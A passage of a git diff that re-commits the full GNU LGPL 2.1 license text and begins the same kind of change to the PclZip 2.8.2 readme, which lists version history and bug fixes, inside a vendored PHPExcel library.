copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/readme.txt b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/readme.txt index d1b11e25..6ed88394 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/readme.txt +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/readme.txt @@ -1,421 +1,421 @@ -// -------------------------------------------------------------------------------- -// PclZip 2.8.2 - readme.txt -// -------------------------------------------------------------------------------- -// License GNU/LGPL - August 2009 -// Vincent Blavet - vincent@phpconcept.net -// http://www.phpconcept.net -// -------------------------------------------------------------------------------- -// $Id: readme.txt,v 1.60 2009/09/30 20:35:21 vblavet Exp $ -// -------------------------------------------------------------------------------- - - - -0 - Sommaire -============ - 1 - Introduction - 2 - What's new - 3 - Corrected bugs - 4 - Known bugs or limitations - 5 - License - 6 - Warning - 7 - Documentation - 8 - Author - 9 - Contribute - -1 - Introduction -================ - - PclZip is a library that allow you to manage a Zip archive. - - Full documentation about PclZip can be found here : http://www.phpconcept.net/pclzip - -2 - What's new -============== - - Version 2.8.2 : - - PCLZIP_CB_PRE_EXTRACT and PCLZIP_CB_POST_EXTRACT are now supported with - extraction as a string (PCLZIP_OPT_EXTRACT_AS_STRING). The string - can also be modified in the post-extract call back. - **Bugs correction : - - PCLZIP_OPT_REMOVE_ALL_PATH was not working correctly - - Remove use of eval() and do direct call to callback functions - - Correct support of 64bits systems (Thanks to WordPress team) - - Version 2.8.1 : - - Move option PCLZIP_OPT_BY_EREG to PCLZIP_OPT_BY_PREG because ereg() is - deprecated in PHP 5.3. When using option PCLZIP_OPT_BY_EREG, PclZip will - automatically replace it by PCLZIP_OPT_BY_PREG. - - Version 2.8 : - - Improve extraction of zip archive for large files by using temporary files - This feature is working like the one defined in r2.7. - Options are renamed : PCLZIP_OPT_TEMP_FILE_ON, PCLZIP_OPT_TEMP_FILE_OFF, - PCLZIP_OPT_TEMP_FILE_THRESHOLD - - Add a ratio constant PCLZIP_TEMPORARY_FILE_RATIO to configure the auto - sense of temporary file use. - - Bug correction : Reduce filepath in returned file list to remove ennoying - './/' preambule in file path. - - Version 2.7 : - - Improve creation of zip archive for large files : - PclZip will now autosense the configured memory and use temporary files - when large file is suspected. - This feature can also ne triggered by manual options in create() and add() - methods. 'PCLZIP_OPT_ADD_TEMP_FILE_ON' force the use of temporary files, - 'PCLZIP_OPT_ADD_TEMP_FILE_OFF' disable the autosense technic, - 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD' allow for configuration of a size - threshold to use temporary files. - Using "temporary files" rather than "memory" might take more time, but - might give the ability to zip very large files : - Tested on my win laptop with a 88Mo file : - Zip "in-memory" : 18sec (max_execution_time=30, memory_limit=180Mo) - Zip "tmporary-files" : 23sec (max_execution_time=30, memory_limit=30Mo) - - Replace use of mktime() by time() to limit the E_STRICT error messages. - - Bug correction : When adding files with full windows path (drive letter) - PclZip is now working. Before, if the drive letter is not the default - path, PclZip was not able to add the file. - - Version 2.6 : - - Code optimisation - - New attributes PCLZIP_ATT_FILE_COMMENT gives the ability to - add a comment for a specific file. (Don't really know if this is usefull) - - New attribute PCLZIP_ATT_FILE_CONTENT gives the ability to add a string - as a file. - - New attribute PCLZIP_ATT_FILE_MTIME modify the timestamp associated with - a file. - - Correct a bug. Files archived with a timestamp with 0h0m0s were extracted - with current time - - Add CRC value in the informations returned back for each file after an - action. - - Add missing closedir() statement. - - When adding a folder, and removing the path of this folder, files were - incorrectly added with a '/' at the beginning. Which means files are - related to root in unix systems. Corrected. - - Add conditional if before constant definition. This will allow users - to redefine constants without changing the file, and then improve - upgrade of pclzip code for new versions. - - Version 2.5 : - - Introduce the ability to add file/folder with individual properties (file descriptor). - This gives for example the ability to change the filename of a zipped file. - . Able to add files individually - . Able to change full name - . Able to change short name - . Compatible with global options - - New attributes : PCLZIP_ATT_FILE_NAME, PCLZIP_ATT_FILE_NEW_SHORT_NAME, PCLZIP_ATT_FILE_NEW_FULL_NAME - - New error code : PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE - - Add a security control feature. PclZip can extract any file in any folder - of a system. People may use this to upload a zip file and try to override - a system file. The PCLZIP_OPT_EXTRACT_DIR_RESTRICTION will give the - ability to forgive any directory transversal behavior. - - New PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : check extraction path - - New error code : PCLZIP_ERR_DIRECTORY_RESTRICTION - - Modification in PclZipUtilPathInclusion() : dir and path beginning with ./ will be prepend - by current path (getcwd()) - - Version 2.4 : - - Code improvment : try to speed up the code by removing unusefull call to pack() - - Correct bug in delete() : delete() should be called with no argument. This was not - the case in 2.3. This is corrected in 2.4. - - Correct a bug in path_inclusion function. When the path has several '../../', the - result was bad. - - Add a check for magic_quotes_runtime configuration. If enabled, PclZip will - disable it while working and det it back to its original value. - This resolve a lots of bad formated archive errors. - - Bug correction : PclZip now correctly unzip file in some specific situation, - when compressed content has same size as uncompressed content. - - Bug correction : When selecting option 'PCLZIP_OPT_REMOVE_ALL_PATH', - directories are not any more created. - - Code improvment : correct unclosed opendir(), better handling of . and .. in - loops. - - - Version 2.3 : - - Correct a bug with PHP5 : affecting the value 0xFE49FFE0 to a variable does not - give the same result in PHP4 and PHP5 .... - - Version 2.2 : - - Try development of PCLZIP_OPT_CRYPT ..... - However this becomes to a stop. To crypt/decrypt I need to multiply 2 long integers, - the result (greater than a long) is not supported by PHP. Even the use of bcmath - functions does not help. I did not find yet a solution ...; - - Add missing '/' at end of directory entries - - Check is a file is encrypted or not. Returns status 'unsupported_encryption' and/or - error code PCLZIP_ERR_UNSUPPORTED_ENCRYPTION. - - Corrected : Bad "version need to extract" field in local file header - - Add private method privCheckFileHeaders() in order to check local and central - file headers. PclZip is now supporting purpose bit flag bit 3. Purpose bit flag bit 3 gives - the ability to have a local file header without size, compressed size and crc filled. - - Add a generic status 'error' for file status - - Add control of compression type. PclZip only support deflate compression method. - Before v2.2, PclZip does not check the compression method used in an archive while - extracting. With v2.2 PclZip returns a new error status for a file using an unsupported - compression method. New status is "unsupported_compression". New error code is - PCLZIP_ERR_UNSUPPORTED_COMPRESSION. - - Add optional attribute PCLZIP_OPT_STOP_ON_ERROR. This will stop the extract of files - when errors like 'a folder with same name exists' or 'a newer file exists' or - 'a write protected file' exists, rather than set a status for the concerning file - and resume the extract of the zip. - - Add optional attribute PCLZIP_OPT_REPLACE_NEWER. This will force, during an extract' the - replacement of the file, even if a newer version of the file exists. - Note that today if a file with the same name already exists but is older it will be - replaced by the extracted one. - - Improve PclZipUtilOption() - - Support of zip archive with trailing bytes. Before 2.2, PclZip checks that the central - directory structure is the last data in the archive. Crypt 